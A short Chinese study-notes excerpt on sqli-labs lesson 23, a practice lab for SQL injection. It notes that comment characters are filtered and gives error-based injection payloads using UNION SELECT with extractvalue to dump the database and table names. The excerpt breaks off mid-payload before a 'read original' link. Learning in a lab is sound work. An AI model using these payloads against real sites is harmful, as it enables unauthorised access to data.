sqli-labs學習筆記 DAY4

DAY 4 sqli-labs lesson 23 與lesson 1一樣，只不過屏蔽了#和–註釋符。 報錯型注入： 爆庫：id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(database()),0x7e)),'3 爆表：?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group

>>阅读原文<<